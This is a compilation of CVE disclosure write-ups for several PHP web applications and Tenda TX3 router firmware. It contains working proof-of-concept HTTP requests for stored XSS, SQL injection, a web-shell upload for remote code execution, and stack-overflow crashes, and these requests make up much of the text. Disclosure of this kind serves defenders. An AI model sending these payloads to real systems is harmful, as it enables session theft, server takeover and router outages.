PHPGurukul Hospital Management System In PHP V 4.0 is vulnerable to Cross Site Scripting (XSS) via doctor/view-patient.php, admin/view-patient.php, and view-medhistory.php.

**Stored Cross Site Scripting Vulnerabilities in Hospital Management System Gurukul v4.0 #3**

**Cross site scripting in Hospital Management System Gurukul v4.0 Heading link**

Multiple **stored cross site scripting vulnerabilities** are present in Hospital Management System Gurukul v4.0

The files **doctor/view-patient.php**, **admin/view-patient.php** and **view-medhistory.php** share a common piece of code where several **POST** **parameters** are directly used into the INSERT SQL query without any kind of escaping or sanitization.

    /\* ... \*/

if(isset($\_POST\['submit'\]))
{

    $vid=$\_GET\['viewid'\];
    $bp=$\_POST\['bp'\];
    $bs=$\_POST\['bs'\];
    $weight=$\_POST\['weight'\];
    $temp=$\_POST\['temp'\];
    $pres=$\_POST\['pres'\];

    $query.=mysqli\_query($con,"insert tblmedicalhistory(PatientID,BloodPressure,BloodSugar,Weight,Temperature,MedicalPres) 
value('$vid','$bp','$bs','$weight','$temp','$pres')");

    
    /\* ... \*/

In the same files, the data that was inserted by the above-mentioned query is retrieved from the database and added to the current page.

      
    /\* ...\*/

while ($row=mysqli\_fetch\_array($ret)) { 

    echo $cnt;
    echo $row\['BloodPressure'\];
    echo $row\['Weight'\];
    echo $row\['BloodSugar'\];
    echo $row\['Temperature'\];
    echo $row\['MedicalPres'\];
    echo $row\['CreationDate'\];

    /\* ... \*/

The vulnerable parameters through which the attack can be carried out are **bp**, **bs**, **weight**, **temp** and **pres** POST parameters.  
The following is one of the possible exploitation using the **pres POST parameter**.

POST /hospitalmanagementsystemproject4/hospital/hms/doctor/view-patient.php?viewid=3 HTTP/1.1
Host: localhost
Content-Length: 94
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/hospitalmanagementsystemproject4/hospital/hms/doctor/view-patient.php?viewid=3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=lrqh66ialqjgfot5rcq90bnvjj
Connection: close

bp=120%2F85&bs=12&weight=70kg&temp=36&pres=\[url-encoded-script\]&submit=

An attacker can easily inject malicious Javascript into the database and steal session cookies from users and administrators.

These vulnerabilities were found using the NAVEX project developed at SISL lab in UIC.

CVE-2022-42206: Stored Cross Site Scripting Vulnerabilities in Hospital Management System Gurukul v4.0 #3 | Systems and Internet Security Lab

Emlog Pro 1.6.0 plugins upload suffers from a remote code execution (RCE) vulnerability.

    POST /emlog/admin/plugin.php?action=upload_zip HTTP/1.1
    Host: 192.168.111.155
    Content-Length: 876
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.111.155
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary804UeairFtrET9Lt
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.111.155/emlog/admin/plugin.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=lq0s731hnlqm232itjlgpc27el; EM_AUTHCOOKIE_jT79impSwTWeimzUBIsgAmv1NoQbG2Zs=admin%7C1695536025%7C848fc865191736412177851eb6082b92; em_saveLastTime=1664436503884
    Connection: close
    
    ------WebKitFormBoundary804UeairFtrET9Lt
    Content-Disposition: form-data; name="pluzip"; filename="shell.zip"
    Content-Type: application/x-zip-compressed
    
    PK���   � Mq=Ua郵/?    �  �   shell/shell.php=?K聾 嗺凔�78h嘍�2渹�v�裫]Dと??$W称��"XjQ皛Q礑??轌3?乿}哏}y��=觾@/@癴撰杻V+5倯x岹儊竲哷孁佸:�蚷?猏Z?,揱戏<氉�賬岈ノ�湞獈煶埑'R齿獙哮甙!?>靾?綱漜晅U?砭7it愴矐堬%{L�z�悏雀╊>��栮詔}岒O懘e隿�鍶趣?爱嘺ㄥ愭�
    AA噣霿扉┹Rq絓茇?cgf?PK���     Bq=U            �   shell/PK��? �   � Mq=Ua郵/?    �  � $               shell/shell.php
           � � F柑)视?F柑)视?�[秤?PK��? �     Bq=U            � $       �   *�  shell/
           � � 棦��视?�8?视?纳�爻迂�PK��    � � ?   N�    
    ------WebKitFormBoundary804UeairFtrET9Lt
    Content-Disposition: form-data; name="token"
    
    4e1bef9d513bae43a46448cbbaee0db7d1d5f7d1
    ------WebKitFormBoundary804UeairFtrET9Lt--
    
    

    http://192.168.111.155//emlog/content/plugins/shell/shell.php

CVE-2022-42189: cms_vul/emlog_pro_1.6.0_rce.md at main · wszdhf/cms_vul

Best Student Result Management System v1.0 is vulnerable to SQL Injection via /upresult/upresult/notice-details.php?nid=.

\[+\] Payload: nid=2' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x61626364,0x31323334,0x71727374)-- - // Leak place ---> nid

    GET /upresult/upresult/notice-details.php?nid=2%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,CONCAT(0x61626364,0x31323334,0x71727374)--%20- HTTP/1.1
    Host: localhost
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=3thbvl3jh0h823b43vpautdf10
    Connection: close

CVE-2022-42021: bug_report/SQLi-1.md at main · 623085881/bug_report

A stored cross-site scripting (XSS) vulnerability in Garage Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the categoriesName parameter in createCategories.php.

**Exploit Title: Garage Management System 1.0 - 'categoriesName' - Stored XSS****Exploit Author: Sam Wallace****Software Link: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html****Version: 1.0****Tested on: Debian****ID: CVE-2022-41358****Summary:**

Garage Management System utilizes client side validation to prevent XSS. Using burp, a request can be modified and replayed to the server bypassing this validation which creates an avenue for XSS.

**When messages suggest that validation is occuring this is a good point in time to validate that these checks are also being completed server side.**

**This is the request prior to any modifications in Burp.**

**Perform a quick modification in Burp...**

**Profit!**

**Proof**

**POC**

    Parameter: categoriesName
    URI: /garage/php_action/createCategories.php
    

    Host: 10.24.0.69
    Content-Length: 367
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://10.24.0.69
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://10.24.0.69/garage/add-category.php
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u
    Connection: close
    
    ------WebKitFormBoundaryqKDsN4gmatTEEkhS
    Content-Disposition: form-data; name="categoriesName"
    
    <script>alert(1)</script>
    ------WebKitFormBoundaryqKDsN4gmatTEEkhS
    Content-Disposition: form-data; name="categoriesStatus"
    
    1
    ------WebKitFormBoundaryqKDsN4gmatTEEkhS
    Content-Disposition: form-data; name="create"
    
    
    ------WebKitFormBoundaryqKDsN4gmatTEEkhS--
    
    
    ![Alt text](/img/Intercept.png "Optional title")
    

**Reference:**

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41358

CVE-2022-41358: GitHub - thecasual/CVE-2022-41358

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the list parameter at /goform/SetVirtualServerCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetVirtualServerCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **formSetVirtualSer**.

First, the saveParentControlInfo function will call save_vitrualser_data.

In the save_vitrualser_data function, the buf variable holds the value of list, which is then assigned to lan\_ip by the _isoc99_sscanf function. Because _isoc99_sscanf has no input length limit, it causes a stack overflow vulnerability.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetVirtualServerCfg HTTP/1.1
Host: 192.168.23.133
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9
Connection: close
Content\-Length: 965

list\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-43024: myCVE/TX3-6.md at main · tianhui999/myCVE

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the startIp parameter at /goform/SetPptpServerCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetPptpServerCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **formSetPPTPServer**.

User control pointer parameter _**startIp**_ in web requesting; _**v24**_ is a pointer parameter on the stack, and using _isoc99_sscanf to copy _**v9**_ to _**v24**_ without length limit will cause stack overflow.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetPptpServerCfg HTTP/1.1
Host: 192.168.23.133
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9
Cookie: password\=byn5gk
Connection: close
Content\-Length: 978

endIp\=b&startIp\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-43025: myCVE/TX3-1.md at main · tianhui999/myCVE

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the endIp parameter at /goform/SetPptpServerCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetPptpServerCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **formSetPPTPServer**.

User control pointer parameter _**endIp**_ in web requesting; _**v28**_ is an array on the stack, and using _isoc99_sscanf to copy _**v15**_ to _**v28**_ without length limit will cause stack overflow.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetPptpServerCfg HTTP/1.1
Host: 192.168.23.133
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9
Cookie: password\=byn5gk
Connection: close
Content\-Length: 1116

startIp\=192.168.1.1&endIp\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-43026: myCVE/TX3-2.md at main · tianhui999/myCVE

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the firewallEn parameter at /goform/SetFirewallCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetFirewallCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **formSetFirewallCfg**.

User control pointer parameter _**firewallEn**_ in web requesting; _**firewall\_buf**_ is a pointer parameter on the stack, and using strcpy to copy _**Var**_ to _**firewall\_buf**_ without length limit will cause stack overflow.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetFirewallCfg HTTP/1.1
Host: 192.168.23.133
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9
Cookie: password\=byn5gk
Connection: close
Content\-Length: 1227

firewallEn\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-43027: myCVE/TX3-5.md at main · tianhui999/myCVE

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the timeZone parameter at /goform/SetSysTimeCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetSysTimeCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **fromSetSysTime**.

User control pointer parameter _**timeZone**_ in web requesting; _**v23**_ is a pointer parameter on the stack, and using _isoc99_sscanf or strcpy to copy _**v5**_ to _**v23**_ without length limit will cause stack overflow.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.23.133
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9
Cookie: password\=byn5gk
Connection: close
Content\-Length: 1225

timeZone\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-43028: myCVE/TX3-3.md at main · tianhui999/myCVE

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the time parameter at /goform/SetSysTimeCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetSysTimeCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **fromSetSysTime**.

User control pointer parameter _**time**_ in web requesting; _**v14**_ is a pointer parameter on the stack, and using _isoc99_sscanf to copy _**v9**_ to _**v14**_ without length limit will cause stack overflow.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.23.133
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9
Cookie: password\=byn5gk
Connection: close
Content\-Length: 1237

